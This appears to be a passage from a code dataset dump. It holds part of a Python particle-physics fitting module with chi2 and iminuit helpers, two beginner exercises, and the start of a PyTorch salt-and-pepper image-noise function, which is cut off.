np.histogram2d(nnbjet_first, nnbjet_second, bin_edges)[0]\n \n count_matrix = pd.DataFrame(count_matrix, dtype='int',\n index=names_index_cols, columns=names_index_cols,\n )\n \n \n count_matrix.columns.name = df_name\n \n return count_matrix\n\n\ndef chi2_to_P(chi2, N_dof):\n \"\"\" Calculates the probability of obtaining a chi2-val higher (i.e. worse)\n than the given chi2-val with the given number of degrees of freedom.\n \"\"\"\n return sp.stats.chi2.sf(chi2, N_dof)\n\n\ndef chi2_asym_no_fit(count_matrix):\n \n \"\"\" Takes a count_matrix as input and calculates the chi2-assymetri \n sum( (N_ij - N_ji)^2 / (N_ij + N_ji) ) for upper and lower parts \n of the count matrix. Returns the chi2-val, the number of degrees of \n freedom and the chi2-probability\n \"\"\"\n \n if isinstance(count_matrix, pd.DataFrame):\n count_matrix = count_matrix.values\n indices = np.triu_indices_from(count_matrix, k = 1)\n upper = count_matrix[indices]\n lower = count_matrix[indices[::-1]]\n chi2_asym = np.sum( (upper-lower)**2 / (upper+lower) )\n \n N_dof = len(lower)\n P = chi2_to_P(chi2_asym, N_dof)\n \n return chi2_asym, N_dof, P\n\ndef print_chi2_asym_no_fit(count_matrix, flavor):\n print(\"chi2_asym, {} \\t {:8.3f}, {}, {:.3f}\".format(\n flavor, *chi2_asym_no_fit(count_matrix)))\n\n\n\n\n#%%\n\ndef check_matrices(matrices):\n if isinstance(matrices[0], pd.DataFrame):\n matrices = [matrix.values for matrix in matrices]\n return matrices\n\n\n\ndef calc_N_total_from_matrices(matrices):\n \n matrices = check_matrices(matrices)\n \n # the total number of events\n N_total = np.sum(np.sum(matrix) for matrix in matrices)\n return N_total\n\n\ndef calc_C_and_S(matrices, f, eff, set_C_diag_eq_1=True):\n \n matrices = check_matrices(matrices)\n \n N_flavors = len(matrices)\n N_total = calc_N_total_from_matrices(matrices)\n \n # calculate the corrections based on fraction N_ij / y_ij\n # and make sure that the diagonal is 1\n C_MC = np.array([matrices[i] / (N_total * f[i] * np.outer(eff[:, i], eff[:, i])) \n for i in range(N_flavors)])\n if set_C_diag_eq_1:\n [np.fill_diagonal(C_MC[i], 1) for i in range(N_flavors)]\n # C_MC_b, C_MC_c, C_MC_l = C_MC\n \n # Calculate S based in diag(S) == 0 \n S_MC = np.array([copy(C_MC[i]) - 1 for i in range(N_flavors)])\n # [np.fill_diagonal(S_MC[i], 0) for i in range(N_flavors)]\n # S_MC_b, S_MC_c, S_MC_l = S_MC\n \n return C_MC, S_MC\n\n\nfrom copy import copy\n \ndef initial_values_from_MC(matrices):\n\n matrices = check_matrices(matrices)\n \n N_flavors = len(matrices)\n \n N_total = calc_N_total_from_matrices(matrices)\n \n # calculate the fractions for each quark type based on MC\n f_MC = np.array([np.sum(matrices[i]) / N_total for i in range(N_flavors)])\n f_MC_b, f_MC_c, f_MC_l = f_MC\n \n \n # calculate the efficiencies for each quark type based on MC \n eff_MC = np.array([(np.sum(matrices[i], axis=0) \n / np.sum(matrices[i])) for i in range(N_flavors)]).T\n eff_MC_b, eff_MC_c, eff_MC_l = eff_MC.T\n \n \n C_MC, S_MC = calc_C_and_S(matrices, f_MC, eff_MC, set_C_diag_eq_1=True)\n \n return N_total, f_MC, eff_MC, C_MC, S_MC\n\n\n\n\n\n#%% cos(theta) analysis\n \ndef calc_f_eff_per_cos_theta_bin(df_MC_2j, bin_edges_cos_theta, bin_edges,\n mask_MC_2j_b, mask_MC_2j_c, mask_MC_2j_l):\n\n \"\"\" \n Analysis of the fractions f and efficiencies eff as a function\n of abs(cos(theta)) value.\n \"\"\"\n \n # first find the average of the absolute values of costheta\n avg = np.mean([np.abs(df_MC_2j['costheta'].iloc[0::2]), \n np.abs(df_MC_2j['costheta'].iloc[0::2])], axis=0)\n \n values = {}\n bin_edges_cos_theta_names = bin_edges_to_str(bin_edges_cos_theta)\n \n # loop over the different bins of the cos theta cuts:\n for i, bin_edge in enumerate(bin_edges_cos_theta[:-1]):\n \n # mask out the samples which are within the specific cos theta bin\n mask = np.logical_and(bin_edges_cos_theta[i] < avg, avg < bin_edges_cos_theta[i+1]) \n \n # extendt the mask to make sure that each element is copied (ie. get both samples)\n mask_double = np.zeros(len(df_MC_2j), dtype=bool)\n mask_double[0::2] = mask\n mask_double[1::2] = mask\n \n # get the nnbjet values for the samples that are both of b-flavour and with the above mask\n nnbjet_b = df_MC_2j.loc[np.logical_and(mask_double, mask_MC_2j_b), 'nnbjet']\n matrix_b = nnbjet_to_matrix(nnbjet_b, bin_edges, 'matrix_b')\n \n # similar to above, however just for c-flavour\n nnbjet_c = df_MC_2j.loc[np.logical_and(mask_double, mask_MC_2j_c), 'nnbjet']\n matrix_c = nnbjet_to_matrix(nnbjet_c, bin_edges, 'matrix_c')\n \n # light\n nnbjet_l = df_MC_2j.loc[np.logical_and(mask_double, mask_MC_2j_l), 'nnbjet']\n matrix_l = nnbjet_to_matrix(nnbjet_l, bin_edges, 'matrix_c')\n \n # combine the different count matrices\n matrix_comb = [matrix_b, matrix_c, matrix_l]\n \n # calculate the values N_total, f, eff, C and S from the count matrices\n pars = initial_values_from_MC(matrix_comb)\n N_total_2j, f_MC_2j, eff_MC_2j, C_MC_2j, S_MC_2j = pars\n \n # save the values of f and eff:\n d = make_initial_values_dict(f_MC_2j, eff_MC_2j)\n names = list(d.keys())\n values[bin_edges_cos_theta_names[i]] = np.array(list(d.values()))\n \n # concatenate all the values into a pandas dataframe\n \n df = pd.DataFrame(values, index=names).T\n \n return df\n \n\n\n\n\ndash_styles = OrderedDict([\n ('solid', ()),\n \n ('dotted', (2, 5)),\n ('densely dotted', (2, 2)),\n \n ('dashed', (5, 5)),\n ('densely dashed', (5, 1)),\n\n ('dashdotted', (3, 5, 1, 5)),\n ('densely dashdotted', (3, 1, 1, 1)),\n \n ('dashdotdotted', (3, 5, 1, 5, 1, 5)),\n ('densely dashdotdotted', (3, 1, 1, 1, 1, 1)),\n \n ('loosely dotted', (1, 10)),\n ('loosely dashed', (5, 10)),\n ('loosely dashdotted', (3, 10, 1, 10)),\n ('loosely dashdotdotted', (3, 10, 1, 10, 1, 10))])\n \n\n\ndef plot_cos_theta_analysis(ax, df_cos_theta_analysis, return_ax=False):\n \n N_bins_cos_theta = len(df_cos_theta_analysis)\n \n for colname, col in df_cos_theta_analysis.iteritems():\n \n if colname.startswith('f'):\n \n color = color_dict['blue']\n \n if 'b' in colname:\n dashes = dash_styles['solid']\n elif 'c' in colname:\n dashes = dash_styles['dashed']\n \n else:\n if 'b' in colname:\n color = color_dict['red']\n elif 'c' in colname:\n color = color_dict['green']\n elif 'l' in colname:\n color = color_dict['purple']\n \n for i, dash in enumerate(dash_styles.values()):\n if str(i) in colname:\n dashes = dash\n \n x = np.arange(N_bins_cos_theta) + 0.2\n y = col.values\n \n ax.plot(x, y, label=col.name, color=color, dashes=dashes)\n \n ax.set(xlabel=r'$|\\cos(\\theta)|$', ylabel=r'value of $f$ or $\\epsilon$', \n xlim=(0, N_bins_cos_theta-0.1))\n ax.set_xticks(x)\n ax.set_xticklabels(list(df_cos_theta_analysis.index))\n ax.legend(loc='upper right')\n\n\n if return_ax:\n return ax\n else:\n return None\n\n\n\n\n\n\n\n\n\n#%% fitting\n \n\ndef from_1D_to_2D(lst, N_bins, N_flavors):\n \"\"\" Takes a 1D-list/array and converts it into a 2D-array \n with correct dimensions\n \"\"\"\n if isinstance(lst, pd.DataFrame):\n lst = lst.values\n elif isinstance(lst, list):\n lst = np.array(lst)\n return lst.reshape((N_flavors, N_bins-1)).T\n\ndef from_2D_to_1D(arr, N_bins, N_flavors):\n \"\"\" Takes a 2D-array and converts it into a 1D-array \n with correct dimensions\n \"\"\"\n if isinstance(arr, pd.DataFrame):\n arr = arr.values\n return arr.T.flatten()\n\n\ndef from_input_vals_to_output(f, eff, S):\n \"\"\" Takes 'reduced' \n - fractions f with shape (bins, flavors-1), \n - efficiencies eff with shape (bins-1, flavors),\n \n and calculates the missing values based on the constrains:\n sum(f) = 1\n sum(eff_k) = 1\n \"\"\"\n \n n_bins, n_flavors = eff.shape\n n_bins += 1\n \n f_all = np.zeros(n_flavors) \n f_all[:-1] = f\n f_all[-1] = 1 - np.sum(f)\n \n eff_all = np.zeros((n_bins, n_flavors))\n eff_all[:-1, :] = eff\n eff_all[-1, :] = 1 - np.sum(eff, axis=0)\n \n C_all = np.ones_like(S) + S\n\n return f_all, eff_all, C_all\n\n\ndef calc_sum_in_y(f_k, eff_k, C_k):\n \"\"\" Calculates the individual terms in the sum of:\n sum f_k * E_k * C_k \"\"\"\n return f_k * np.outer(eff_k, eff_k) * C_k\n\n\ndef calc_y(N_tot, f, eff, S):\n \"\"\" Given N_tot, f, eff and S, calculates y \"\"\"\n \n f_all, eff_all, C_all = from_input_vals_to_output(f, eff, S)\n\n n_bins, n_flavors = eff_all.shape\n \n # compute list of matrices based in the outer product of the columns in eff\n sum_in_y_all = np.array([calc_sum_in_y(f_all[i], eff_all[:, i], C_all[i, :, :]) \n for i in range(n_flavors)])\n \n y = N_tot * np.sum(sum_in_y_all, axis=0)\n return y\n\n\n\n# below alternitve ways of writing it, faster\n\n# def func1():\n# Eff_all = [np.outer(eff_all[:, i], eff_all[:, i]) for i in range(n_flavors)]\n# F_all = [f_all[i] * Eff_all[i] for i in range(n_flavors)]\n# return np.sum(F_all, 0)\n\n# def func2():\n# Eff_all_np = np.array(Eff_all)\n# f_all_np = f_all.reshape((1, 3))\n# return np.trace(np.tensordot(f_all_np, Eff_all_np, axes=0)[0])\n\n# def func3():\n # eff2 = np.array([eff_all[:, i] for i in range(3)])\n # return np.tensordot((np.diag(f_all) @ eff2).T, eff2, axes=1)\n\n\n\n\n\n\n\n\ndef calc_chi2_sym(data, y):\n \"\"\" Calculates the chi2-value between data and y by assuming that\n the data is symmetrically distributed, ie. only need the upper \n diagonal of the data (incl. diagonal).\n \n \"\"\"\n indices = np.triu_indices_from(data, k = 0)\n \n data_sym = data + data.T\n y_sym = y + y.T\n \n frac = (data_sym - y_sym)**2 / y_sym\n chi2 = np.sum(frac[indices])\n \n return chi2\n\n\ndef flatten_list_of_lists(lst):\n \"\"\" Flattens a lists of lists into a 1D-list \"\"\"\n return [item for sublist in lst for item in sublist]\n\n\ndef make_initial_values_dict(f, eff):\n \"\"\" Takes f and eff and returns a dictionary with the correct naming\n of the variables i.e. prepares the values to be used by iminuit.\n \"\"\"\n\n d = OrderedDict()\n\n nbins, nflavors = eff.shape\n nbins += 1\n\n f_names = ['f_b', 'f_l']\n if nflavors == 3:\n f_names.insert(1, 'f_c')\n for name, val in zip(f_names[:-1], f):\n d[name] = val\n \n eff_names = [[f'eff_b{i}' for i in range(nbins-1)], \n [f'eff_l{i}' for i in range(nbins-1)]]\n if nflavors == 3:\n eff_names.insert(1, [f'eff_c{i}' for i in range(nbins-1)])\n eff_names = flatten_list_of_lists(eff_names)\n for name, val in zip(eff_names, from_2D_to_1D(eff, nbins, nflavors)):\n d[name] = val\n \n return d\n\n\n\ndef list_of_pars_to_f_eff(nbins, nflavors, *fit_pars):\n \"\"\" The inverse function of make_initial_values_dict. \n Takes the 1D-list of fit_pars and returns f and eff\n in correct dimensions.\n \"\"\"\n \n f = np.array(fit_pars[:nflavors-1])\n eff_1D = np.array(fit_pars[nflavors-1:])\n eff_2D = from_1D_to_2D(eff_1D, nbins, nflavors)\n \n return f, eff_2D\n\n\n\ndef set_limits_on_params(d):\n \"\"\" Sets limits on the fit_pars used by iminuit \"\"\"\n d_err = OrderedDict()\n for name in d.keys():\n d_err['limit_'+name] = (0, 1)\n return d_err\n\n\n\n\n\n\n\nclass minuit_wrapper: \n \n \"\"\" A wrapper module for minuit such that minuit can describe the \n object created by this class and thus also fit it.\n \n Takes in the actual data, the symmetry-corrections S and the \n initial values dictionary d\n \"\"\"\n \n \n def __init__(self, data, S, d):\n \n self.data = data\n self.S = S\n self.d = d\n self.func_code = make_func_code(list(d.keys()))\n \n self.N_flavors, self.N_bins, _ = S.shape\n if not (self.N_flavors == 2 or self.N_flavors == 3):\n raise IllegalArgumentError('Number of flavors should be 2 or 3')\n \n\n def __call__(self, *pars): # par are a variable number of model parameters\n \n f, eff = list_of_pars_to_f_eff(self.N_bins, self.N_flavors, *pars)\n N_tot = np.sum(self.data)\n \n y = calc_y(N_tot, f, eff, self.S)\n chi2 = calc_chi2_sym(self.data, y)\n \n return chi2\n\n#%%\n \n \n\ndef get_f_eff_covariance_matrices(cov_dict):\n \n \"\"\"\n Takes iminuit covariance dict as input and returns the covariance \n matrices (as DataFrames) for fractions (f) and efficiencies (eff).\n \"\"\"\n \n if cov_dict is None:\n return None, None\n \n tuples = list(cov_dict.keys())\n index = pd.MultiIndex.from_tuples(tuples)\n \n cov_series = pd.Series(cov_dict, index=index)\n \n cov = cov_series.unstack()\n \n f_names = [s for s in cov.columns if s.startswith('f_')]\n eff_names = [s for s in cov.columns if s.startswith('eff_')]\n \n cov_f = cov.loc[f_names, f_names]\n cov_eff = cov.loc[eff_names, eff_names]\n \n return cov_f, cov_eff \n\n \n\n\nclass fit_object:\n \n def __init__(self, f0, eff0, S0, data, verbose, assumption, use_limits=False):\n self.f0 = f0\n self.eff0 = eff0\n self.S0 = S0\n self.data = data\n \n self.verbose = verbose\n self.assumption = assumption.lower()\n self.use_limits = use_limits\n \n self.N_bins, self.N_flavors = eff0.shape\n self.N_bins += 1\n \n self.N_obs, self.N_vars, self.N_dof = degrees_of_freedom(assumption,\n self.N_bins, \n self.N_flavors, \n verbose)\n \n \n def initial_chi2_check(self):\n self.y0 = calc_y(np.sum(self.data), self.f0, self.eff0, self.S0)\n self.chi2_0 = calc_chi2_sym(self.data, self.y0)\n \n \n print(f'\\nChi2-value based on MC-values of f and eff with ' +\n f'no fit: {self.chi2_0:.4f}')\n print(f'Number of degrees of freedom: {self.N_obs}')\n print(f'Chi2-probability: {chi2_to_P(self.chi2_0, self.N_obs):.4f}')\n\n\n def fit(self):\n \n self.d_initial_vals = make_initial_values_dict(self.f0, self.eff0)\n self.d_limits = set_limits_on_params(self.d_initial_vals)\n \n self.chi2_minimize = minuit_wrapper(self.data, self.S0, self.d_initial_vals)\n \n if not self.use_limits:\n self.m = Minuit(self.chi2_minimize, errordef=1, pedantic=False, \n **self.d_initial_vals)\n else:\n self.m = Minuit(self.chi2_minimize, errordef=1, pedantic=False, \n **self.d_initial_vals, **self.d_limits)\n \n self.fmin, self.param = self.m.migrad()\n \n if not self.fmin['is_valid']:\n warnings.warn('\\n\\nFit is not valid!\\n\\n', FitWarning)\n \n \n self.chi2_fit = self.m.fval\n print(f'Fitted Chi2-value from Minuit: {self.chi2_fit:.4f}')\n print(f'Number of degrees of freedom: {self.N_dof}')\n print(f'Fitted Chi2-probability: {chi2_to_P(self.chi2_fit, self.N_dof):.4f}')\n if self.verbose:\n print(\"\\n\")\n print(self.fmin)\n \n self.f_fit, self.eff_fit = list_of_pars_to_f_eff(self.N_bins, \n self.N_flavors, \n *self.m.values.values())\n self.s_f_fit, self.s_eff_fit = list_of_pars_to_f_eff(self.N_bins, \n self.N_flavors, \n *self.m.errors.values())\n \n self.cov_f, self.cov_eff = get_f_eff_covariance_matrices(self.m.covariance)\n \n return (self.f_fit, self.eff_fit, \n self.s_f_fit, self.s_eff_fit, \n self.cov_f, self.cov_eff)\n \n \n \n def get_fit_values(self):\n if self.s_f_fit is None:\n return self.fit()\n else:\n return (self.f_fit, self.eff_fit, \n self.s_f_fit, self.s_eff_fit, \n self.cov_f, self.cov_eff)\n \n\n\n # Below is a method to make sure that if we input a pandas DataFrame \n # as data it is converted to a numpy array\n\n \n def check_data(self, data):\n if isinstance(data, pd.DataFrame):\n data = data.values\n return data\n \n\n @property\n def data(self):\n # print(\"Getting data\")\n return self.__data\n\n @data.setter\n def data(self, data):\n # print(\"Setting data\")\n self.__data = self.check_data(data)\n\n\n\n # def update_parameters(self, data):\n # \"\"\"\n \n # \"\"\"\n \n # if isinstance(data, pd.DataFrame):\n # data = data.values\n # self.data = data\n \n # self.f0, self.eff0, _, _ = self.get_fit_values()\n \n\n\n\n#%% PandasContainer\n \n\n\n\nimport warnings\n\nclass IllegalArgumentWarning(UserWarning):\n pass\n\nclass FitWarning(UserWarning):\n pass\n\n\n\ndef get_dict_split(y_train, y_test, y_val = None):\n index_train = y_train.index\n index_test = y_test.index\n \n dict_split = {'train': index_train, 'test': index_test}\n \n if y_val is not None:\n dict_split['val'] = y_val.index\n \n return union_of_all_indices_in_dict(dict_split)\n\n\n\ndef get_dict_flavor(y_MC):\n \n \"\"\"\n Takes y_MC_3f series and finds all the indices of b's, c's, l's and cl's.\n In the end also adds the key 'all' which is simply the union of all.\n \n Input: y_MC with values: 0 for l, 1 for b and 2 for c\n \"\"\"\n\n if (y_MC == 2).sum() == 0:\n warnings.warn('Input y_MC has not a single \"2\" in it.', IllegalArgumentWarning)\n\n index_b = y_MC[y_MC == 1].index\n index_c = y_MC[y_MC == 2].index\n index_l = y_MC[y_MC == 0].index\n index_cl = index_c.union(index_l)\n\n dict_flavor = {'b': index_b, \n 'c': index_c, \n 'l': index_l, \n 'cl': index_cl,\n 'all': y_MC.index}\n \n return dict_flavor\n\n\ndef unpack(lst, sep=', '):\n return sep.join(str(x) for x in lst) # map(), just for kicks\n\ndef split_by_indices(series, index1, index2):\n return series.loc[index1.intersection(index2)]\n\n\ndef union_of_all_indices_in_dict(d_index):\n \n \"\"\" Takes a dictionary of indices and calculates the union of all \n the indices which it adds to the original dictionary with the\n key 'all'.\n \"\"\"\n \n key0 = next(iter(d_index))\n val0 = d_index[key0]\n \n union_index = val0\n for key, val in d_index.items():\n union_index = union_index.union(val)\n d_index['all'] = union_index\n return d_index\n\n\n\n#%%\n \n\n\n\nclass PandasContainer():\n \n \n \"\"\" Container for Pandas Dataframes/Series which allows one to use bracket\n notation to get specific flavours (b,c,l,cl,all), splits (train, test, \n all) or a combination of both. \n \"\"\"\n \n \n def __init__(self, df, dict_flavor, dict_split, max_rows=5, max_cols=7):\n \n self.df = df\n self.set_container_dicts(dict_flavor, dict_split)\n\n #only print max_rows in dataframe\n self.set_max_rows(max_rows)\n \n # colors for flavors\n self.color = {'b': 'blue', 'c': 'green', 'l': 'red', 'cl': 'orange'}\n \n # below way of using the GetColumnClass (i.e. square bracket indexing)\n self._get_column_as_dfc = GetColumnClass(self)\n\n def set_container_dicts(self, dict_flavor, dict_split):\n \n if isinstance(self.df, pd.DataFrame):\n if len(set(dict_flavor.keys()).intersection(self.df.columns)) != 0:\n raise ValueError('Overlap between dict_flavor keys and dataframe variables!')\n if len(set(dict_split.keys()).intersection(self.df.columns)) != 0:\n raise ValueError('Overlap between dict_split keys and dataframe variables!')\n \n \n # self.dict_flavor = union_of_all_indices_in_dict(dict_flavor)\n # self.dict_split = union_of_all_indices_in_dict(dict_split)\n self.dict_flavor = dict_flavor\n self.dict_split = dict_split\n return None\n \n\n def __getitem__(self, arg):\n \"\"\"\n blabla.\n \"\"\"\n \n arg_optional = None\n \n if isinstance(arg, slice):\n # print(\"TODO: returning entire df\")\n return self.df\n \n \n if isinstance(arg, tuple) or isinstance(arg, list):\n \n # print(\"TODO: arg is tuple or list\")\n \n if len(arg) == 1:\n arg = arg[0]\n elif len(arg) == 2:\n arg, arg_optional = arg\n else:\n raise ValueError('argument has to be less than 3 elements')\n \n if len(arg) == 0 or arg.lower()=='all':\n # print(\"TODO: returning entire df\")\n return self.df\n \n if isinstance(arg, str):\n # print(\"TODO: arg is str\")\n result = self.__custom_get_item(arg, arg_optional)\n \n if result is not None: \n # print(\"TODO: result is not None\")\n return result\n \n \n raise ValueError('argument in call (dfc[arg]) - must be in either '+\n 'dict_flavor or dict_split.')\n \n def __repr__(self):\n \n s = self.df.__repr__() + '\\n\\n'\n s += 'dict_flavor keys: ' + str(list(self.dict_flavor.keys()))\n s += '\\n' \n s += 'dict_split keys: ' + str(list(self.dict_split.keys()))\n return s\n \n \n def __custom_get_item(self, arg, arg_optional):\n \n if arg == 'all':\n if arg_optional is not None:\n s = 'When the first argument is \"all\", the entire series is '\n s += 'being returned (i.e. ignores second argument).'\n warnings.warn(s, IllegalArgumentWarning)\n \n if arg_optional is None:\n if arg in self.dict_flavor.keys():\n return split_by_indices(self.df, self.dict_flavor[arg], self.dict_split['all'])\n elif arg in self.dict_split.keys():\n return split_by_indices(self.df, self.dict_flavor['all'], self.dict_split[arg])\n \n if (arg in self.dict_flavor.keys() and arg_optional in self.dict_split.keys()):\n return split_by_indices(self.df, self.dict_flavor[arg], self.dict_split[arg_optional])\n \n if (arg_optional in self.dict_flavor.keys() and arg in self.dict_split.keys()):\n return split_by_indices(self.df, self.dict_flavor[arg_optional], self.dict_split[arg])\n\n return None\n \n # below method to set the varible get_column_as_dfc to immutable. \n @property\n def get_column_as_dfc(self):\n return self._get_column_as_dfc\n\n def set_max_rows(self, max_rows):\n #only print max_rows in dataframe\n pd.set_option('display.max_rows', max_rows)\n return None\n \n def set_max_cols(self, max_cols):\n #only print max_cols in dataframe\n pd.set_option('display.max_cols', max_cols)\n return None\n\n\n # original dataframe iterator\n def iteritems(self):\n return self.df.iteritems()\n \n # original dataframe iterator\n def iterrows(self):\n return self.df.iterrows()\n\n \n\n\n # iterate over flavors\n def iterflavors(self, include_all=False, include_cl=False, \n include_color=False):\n for flavor in self.dict_flavor.keys():\n if ((include_all or flavor.lower() != 'all') and \n (include_cl or flavor.lower() != 'cl')):\n if include_color:\n yield flavor, self.__getitem__(flavor), self.color[flavor]\n else:\n yield flavor, self.__getitem__(flavor)\n \n # iterate over splits\n def itersplits(self, include_all=False, include_cl=False):\n for split in self.dict_split.keys():\n if ((include_all or split.lower() != 'all') and \n (include_cl or split.lower() != 'cl')): \n yield split, self.__getitem__(split)\n \n\nclass GetColumnClass():\n \n \"\"\" Class that allows us to retrieve the parent's data frame series with 'colname'\n by using square bracket notation. \n \"\"\"\n \n def __init__(self, parent):\n self.parent = parent\n \n def __getitem__(self, colname):\n col = self.parent.df.loc[:, colname]\n dict_flavor = self.parent.dict_flavor\n dict_split = self.parent.dict_split\n return PandasContainer(col, dict_flavor, dict_split) \n \n \n \n \n \n\n# def PandasWrapperFunction(base):\n \n \n\n # class PandasWrapper(base):\n # __doc__ = inspect.cleandoc(\"\"\"Custom modification of Pandas module. \n # This one allows one to \n # set_wrapper_dicts(dict_flavor, dict_split) \n # and thus index the dataframe \n # df['b', 'train'] \\n\\n\"\"\")\n # __doc__ += base.__doc__\n \n # def __init__(self, *args, **kwargs):\n # super(PandasWrapper, self).__init__(*args, **kwargs)\n \n \n # def set_wrapper_dicts(self, dict_flavor, dict_split):\n # for s in ['is_wrapper', 'dict_flavor', 'dict_split']:\n # self._metadata.append(s)\n \n # if len(dict_flavor.keys().intersection(self.columns)) != 0:\n # raise ValueError('Overlap between dict keys and dataframe variables!')\n \n \n # self.is_wrapper = True\n # self.dict_flavor = union_of_all_indices_in_dict(dict_flavor)\n # self.dict_split = union_of_all_indices_in_dict(dict_split)\n \n # def set_wrapper(self, bool_val):\n # self.is_wrapper = bool_val\n \n # def default(self):\n # self.is_wrapper = None\n \n # def __getitem__(self, arg):\n # \"\"\"\n # blabla.\n # \"\"\"\n \n # if hasattr(self, 'is_wrapper'):\n \n # print(\"TODO: hasattr\")\n \n # if self.is_wrapper:\n \n # print(\"is_wrapper\")\n \n # arg_optional = None\n \n # if isinstance(arg, tuple):\n \n # print(\"TODO: arg is tuple\")\n \n # if len(arg) == 2:\n # arg, arg_optional = arg\n \n # if isinstance(arg, str):\n # print(\"TODO: arg is str\")\n # result = self.custom_get_item(arg, arg_optional)\n \n # if result is not None: \n # print(\"TODO: result is not None\")\n # return result\n \n # print(\"TODO: returning result\")\n # result = super(PandasWrapper, self).__getitem__(arg)\n # # print(\"TODO: changing class\")\n # # result.__class__ = PandasWrapper\n # return result\n \n \n # # result = super(PandasWrapper, self).__getitem__(key)\n # # result.__class__ = PandasWrapper\n \n # # return result\n \n \n # def __repr__(self):\n \n # s = super(PandasWrapper, self).__repr__() + '\\n\\n'\n \n # if hasattr(self, 'is_wrapper'):\n # if self.is_wrapper:\n \n # s += 'dict_flavor keys: ' + str(list(self.dict_flavor.keys())) + 2*'\\n' \n # # s += f'len(dict_flavor) = {len(self.dict_flavor)}' + 2*'\\n' \n # s += 'dict_split keys: ' + str(list(self.dict_split.keys())) + 2*'\\n'\n # # s += f'len(dict_split) = {len(self.dict_split)}' + 2*'\\n' \n # return s\n \n \n \n \n # def custom_get_item(self, arg, arg_optional):\n \n # if arg == 'all':\n # if arg_optional is not None:\n # s = 'When the first argument is \"all\", the entire series is '\n # s += 'being returned (i.e. ignores second argument).'\n # warnings.warn(s, IllegalArgumentWarning)\n \n # if arg_optional is None:\n # if arg in self.dict_flavor.keys():\n # print(\"\\nA\\n\")\n # return split_by_indices(self, self.dict_flavor[arg], self.dict_split['all'])\n # elif arg in self.dict_split.keys():\n # print(\"\\nB\\n\")\n # return split_by_indices(self, self.dict_flavor['all'], self.dict_split[arg])\n \n # if (arg in self.dict_flavor.keys() and arg_optional in self.dict_split.keys()):\n # print(\"\\nC\\n\")\n # return split_by_indices(self, self.dict_flavor[arg], self.dict_split[arg_optional])\n \n # elif (arg_optional in self.dict_flavor.keys() and arg in self.dict_split.keys()):\n # print(\"\\nD\\n\")\n # return split_by_indices(self, self.dict_flavor[arg_optional], self.dict_split[arg])\n \n # return None\n \n \n \n \n # def __finalize__(self, other, method=None, **kwargs):\n # \"\"\"propagate metadata from other to self \"\"\"\n \n # for name in self._metadata:\n # object.__setattr__(self, name, getattr(other, name, None))\n # return self\n\n \n \n \n # def copy(self, deep=True):\n # \"\"\"\n # Make a copy of this PandasWrapper object\n # Parameters\n # ----------\n # deep : boolean, default True\n # Make a deep copy, i.e. also copy data\n # Returns\n # -------\n # copy : PandasWrapper\n # \"\"\"\n # # FIXME: this will likely be unnecessary in pandas >= 0.13\n # data = self._data\n # if deep:\n # data = data.copy()\n # return PandasWrapper(data).__finalize__(self) # TODO probabily dont need finalize\n \n \n # # def __getitem__(self, key):\n # # \"\"\"\n # # If the result is a column containing only 'geometry', return a\n # # GeoSeries. If it's a DataFrame with a 'geometry' column, return a\n # # GeoDataFrame.\n # # \"\"\"\n \n # # result = super(PandasWrapper, self).__getitem__(key)\n # # result.__class__ = PandasWrapper\n \n # # return result\n \n # # result = super(PandasWrapper, self).__getitem__(key)\n # # geo_col = self._geometry_column_name\n # # if isinstance(key, string_types) and key == geo_col:\n # # result.__class__ = GeoSeries\n # # result.crs = self.crs\n # # result._invalidate_sindex()\n # # elif isinstance(result, DataFrame) and geo_col in result:\n # # result.__class__ = PandasWrapper\n # # result.crs = self.crs\n # # result._geometry_column_name = geo_col\n # # result._invalidate_sindex()\n # # elif isinstance(result, DataFrame) and geo_col not in result:\n # # result.__class__ = DataFrame\n # # return result\n \n \n# return PandasWrapper\n\n\n# SeriesWrapper = PandasWrapperFunction(pd.Series)\n# DataFrameWrapper = PandasWrapperFunction(pd.DataFrame)\n\n\n","sub_path":"CM_extra_funcs.py","file_name":"CM_extra_funcs.py","file_ext":"py","file_size_in_byte":52731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"625500219","text":"\"\"\" Programa que faz aprovação bancaria\"\"\"\n\ncasa = int(input('Diga o valor da casa: '))\nsalario = float(input('Informe o valor do seu salário: '))\nparcela = int(input('Informe a quantidade de parcelas: '))\n\nporcentagem = salario - (salario / 100) * 70\nvalor_presta = casa / parcela\n\nif valor_presta < porcentagem:\n print(f'Sua parcela de R${valor_presta:.2f} está aprovada !')\nelse:\n print('Infelizmente não será possível financiar.')\n","sub_path":"livro_python/ex3_23.py","file_name":"ex3_23.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"522365758","text":"# ask user to enter the number with more than one digit\n# example 12345 and get them added as 1+2+3+4+5 and prin the total\n\nnumber = input(\"Enter the number: \" )\ntotal = 0\ni = 0\nwhile i < len(number):\n total = total + int(number[i])\n i = i + 1\nprint(f\"sum is {total}\")\n","sub_path":"ex7.py","file_name":"ex7.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"605879361","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nimport imageio\n\ndef noise_saltand_pepper_2d(img1):\n '''\n 2D图像的椒盐噪声\n :param img1:1*3*256*256\n :return: 椒盐噪声image\n '''\n\n salt = torch.zeros_like(img1)\n pepper = torch.ones_like(img1)\n ratio = int(img1.shape[2]*img1.shape[3]*3)\n mask_1 = np.random.choice([0.0, 1.0], ratio, p=[0.1,0.9 ])\n # 组成0,255的shape与image一样的随机矩阵\n mask_0_255 = np.random.choice([0.0, 255.0], ratio, p=[0.5, 0.5])\n # 0.1的概率为0,其余为0\n mask_1_tensor = torch.tensor(mask_1, dtype=torch.float).reshape(1,3,256,256)\n # 用来放噪声的点\n mask_pepper = pepper - mask_1_tensor\n\n mask_0_255_tensor = torch.tensor(mask_0_255, dtype=torch.float).reshape(1, 3, 256, 256)\n noise = mask_0_255_tensor*mask_pepper\n # 丢失部分数据\n img1 = img1*mask_1_tensor + noise\n\n\n return img1\n # mask_tensor.unsqueeze_(0)\n # mask_tensor.unsqueeze_(0)\n # mask_tensor = mask_tensor.expand_as(img1)\n\ndef noise_saltand_pepper_3d(img_tensor):\n '''\n 3D图像的椒盐噪声\n :param img1:1*4 *8*256*256\n :return: 椒盐噪声image\n '''\n\n pepper = torch.ones_like(img_tensor,device='cuda')\n ratio = int(img_tensor.shape[3] * img_tensor.shape[4] * 4 * 8)\n # 